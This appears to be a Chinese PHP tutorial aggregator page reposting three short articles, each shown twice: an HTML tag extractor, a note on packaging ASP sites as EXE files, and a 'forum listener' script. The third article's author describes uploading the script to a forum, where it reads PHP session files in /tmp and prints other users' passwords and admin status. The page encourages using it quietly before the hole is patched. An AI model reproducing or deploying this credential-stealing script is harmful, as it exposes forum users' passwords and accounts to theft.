当前位置: 编程技术>php
本页文章导读:
▪提取HTML标签
<?php/********************************** * 作者: 徐祖宁 (唠叨)* 邮箱: czjsz_ah@stats.gov.cn* 开发: 2002.07* * * 函数: tags* 功能: 从文件中提取HTML标签* * 入口:* $filename 文件名* $tag .........
▪如何把PHP转成EXE文件
原问:如何把PHP转成EXE文件。结果当然是没有这样的软件,但是有两ASP的东东,可以把网站做成EXE文件发布。我没时间试,大家可以看看,有啥结果可以贴过来,我们研究研究。呵呵。地址.........
▪一个查看session内容的函数
之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的.........
[1]提取HTML标签
来源: 互联网 发布时间: 2013-11-30
<?php
/*********************************
*
* 作者: 徐祖宁 (唠叨)
* 邮箱: czjsz_ah@stats.gov.cn
* 开发: 2002.07
*
*
* 函数: tags
* 功能: 从文件中提取HTML标签
*
* 入口:
* $filename 文件名
* $tag 标签名
* 返回:
* 数组,每项为:
* tagName String
* Text String
* Attrs Array
*
* 示例:
* print_r(tags("test1.htm","a"));
* print_r("http://localhost/index.htm","img");
*
*/
function tags($filename,$tag) {
$buffer = join("",file($filename));
$buffer = eregi_replace("\r\n","",$buffer);
$tagkey = sql_regcase($tag);
$buffer = eregi_replace("<$tagkey ","\n<$tag ",$buffer);
$ar = split("\n",$buffer);
foreach($ar as $v) {
if(! eregi("<$tagkey ",$v)) continue;
eregi("<$tagkey ([^>]*)((.*)</$tagkey)?",$v,$regs);
$p[tagName] = strtoupper($tag);
if($regs[3])
$p[Text] = $regs[3];
$s = trim(eregi_replace("[ \t]+"," ",$regs[1]))." ";
$s = eregi_replace(" *= *","=",$s);
$a = split(" ",$s);
for($i=0;$i<count($a);$i++) {
$ch = array();
if(eregi("=[\"']",$a[$i])) {
$j = $i+1;
while(!eregi("[\"']$",$a[$i])) {
$a[$i] .= " ".$a[$j];
unset($a[$j]);
}
}
}
foreach($a as $k) {
$name = strtoupper(strtok($k,"="));
$value = strtok("\0");
if(eregi("^[\"']",$value))
$value = substr($value,1,-1);
if($name)
$p[Attrs][$name] = $value;
}
$pp[] = $p;
}
return $pp;
}
?>
/*********************************
*
* 作者: 徐祖宁 (唠叨)
* 邮箱: czjsz_ah@stats.gov.cn
* 开发: 2002.07
*
*
* 函数: tags
* 功能: 从文件中提取HTML标签
*
* 入口:
* $filename 文件名
* $tag 标签名
* 返回:
* 数组,每项为:
* tagName String
* Text String
* Attrs Array
*
* 示例:
* print_r(tags("test1.htm","a"));
* print_r("http://localhost/index.htm","img");
*
*/
function tags($filename,$tag) {
$buffer = join("",file($filename));
$buffer = eregi_replace("\r\n","",$buffer);
$tagkey = sql_regcase($tag);
$buffer = eregi_replace("<$tagkey ","\n<$tag ",$buffer);
$ar = split("\n",$buffer);
foreach($ar as $v) {
if(! eregi("<$tagkey ",$v)) continue;
eregi("<$tagkey ([^>]*)((.*)</$tagkey)?",$v,$regs);
$p[tagName] = strtoupper($tag);
if($regs[3])
$p[Text] = $regs[3];
$s = trim(eregi_replace("[ \t]+"," ",$regs[1]))." ";
$s = eregi_replace(" *= *","=",$s);
$a = split(" ",$s);
for($i=0;$i<count($a);$i++) {
$ch = array();
if(eregi("=[\"']",$a[$i])) {
$j = $i+1;
while(!eregi("[\"']$",$a[$i])) {
$a[$i] .= " ".$a[$j];
unset($a[$j]);
}
}
}
foreach($a as $k) {
$name = strtoupper(strtok($k,"="));
$value = strtok("\0");
if(eregi("^[\"']",$value))
$value = substr($value,1,-1);
if($name)
$p[Attrs][$name] = $value;
}
$pp[] = $p;
}
return $pp;
}
?>
[2]如何把PHP转成EXE文件
来源: 互联网 发布时间: 2013-11-30
原问:如何把PHP转成EXE文件。
结果当然是没有这样的软件,但是有两ASP的东东,可以把网站做成EXE文件发布。我没时间试,大家可以看看,有啥结果可以贴过来,我们研究研究。呵呵。地址:
http://www.octopod.net/Sitecomp/index.htm
Main features
Packing all files into one compact file
Produces EXE file with integrated full-featured HTTP/1.1 WEB server that is ASP-compatible
Easy redistribution of your WEB application
Execution of the ASP pages
Redistribution of MDB files and ODBC data sources
Redistribution and setup of other databases as ODBC data sources
Redistribute your ActiveX servers with the application
Object model compatible with IIS
Multithreaded operations
Ability to upload data
Active Debugging using Windows Script Debugger or Visual InterDev
Batch compilation
Serve arbitrary WEB files
http://www.phdcc.co.uk/dynamic-cd/default.asp
Put Dynamic-CD on a CD or DVD to show interactive web pages to your customers.
Store a database on a CD and use Dynamic-CD to query the database and generate HTML pages.
Use Dynamic-CD to encrypt and password-protect your copyright or secure data.
Dynamic-CD is an Internet server that runs directly from a CD with no inconvenient installation.
Dynamic-CD supports ASP-style scripts written in VBScript.
Use Dynamic-CD-Wizard to build a CD image.
结果当然是没有这样的软件,但是有两ASP的东东,可以把网站做成EXE文件发布。我没时间试,大家可以看看,有啥结果可以贴过来,我们研究研究。呵呵。地址:
http://www.octopod.net/Sitecomp/index.htm
Main features
Packing all files into one compact file
Produces EXE file with integrated full-featured HTTP/1.1 WEB server that is ASP-compatible
Easy redistribution of your WEB application
Execution of the ASP pages
Redistribution of MDB files and ODBC data sources
Redistribution and setup of other databases as ODBC data sources
Redistribute your ActiveX servers with the application
Object model compatible with IIS
Multithreaded operations
Ability to upload data
Active Debugging using Windows Script Debugger or Visual InterDev
Batch compilation
Serve arbitrary WEB files
http://www.phdcc.co.uk/dynamic-cd/default.asp
Put Dynamic-CD on a CD or DVD to show interactive web pages to your customers.
Store a database on a CD and use Dynamic-CD to query the database and generate HTML pages.
Use Dynamic-CD to encrypt and password-protect your copyright or secure data.
Dynamic-CD is an Internet server that runs directly from a CD with no inconvenient installation.
Dynamic-CD supports ASP-style scripts written in VBScript.
Use Dynamic-CD-Wizard to build a CD image.
[3]一个查看session内容的函数
来源: 互联网 发布时间: 2013-11-30
之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}
function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="/blog_article/</print $PHP_SELF /gt;.html" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}
function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="/blog_article/</print $PHP_SELF /gt;.html" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>
最新技术文章: